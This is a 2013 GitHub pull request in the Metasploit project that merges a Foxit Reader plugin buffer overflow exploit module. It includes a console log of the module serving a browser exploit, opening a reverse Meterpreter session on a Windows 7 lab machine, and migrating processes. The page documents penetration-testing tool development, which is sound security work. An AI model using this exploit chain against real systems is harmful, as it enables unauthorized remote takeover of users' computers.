Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Make stable #1318 foxit reader exploit #1486

Merged
merged 3 commits into from Feb 13, 2013

Conversation

jvazquez-r7
Copy link
Contributor

Since there is a long time since #1318 had been closed, I'm making this exploit stable, I wouldn't like to lose it, works on Windows 7 SP1 with Firefox 18 bypassing dep plus aslr :)

Tested with Foxit Reader version 5.4.4.11281

Test:

msf  exploit(foxit_reader_plugin_url_bof) > rexploit
[*] Stopping existing job...
[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/1XRcbHWGKL0EY
[*]  Local IP: http://192.168.1.128:8080/1XRcbHWGKL0EY
[*] Server started.
msf  exploit(foxit_reader_plugin_url_bof) > [*] Sending stage (752128 bytes) to 192.168.1.128
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.128:53806) at 2013-02-12 18:42:32 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.128:53806) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: plugin-container.exe (3604)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1468
[+] Successfully migrated to process 

msf  exploit(foxit_reader_plugin_url_bof) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

@wchen-r7 wchen-r7 merged commit f58cc6a into rapid7:master Feb 13, 2013
@jvazquez-r7 jvazquez-r7 deleted the foxit_reader_plugin_url_bof branch November 18, 2014 15:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants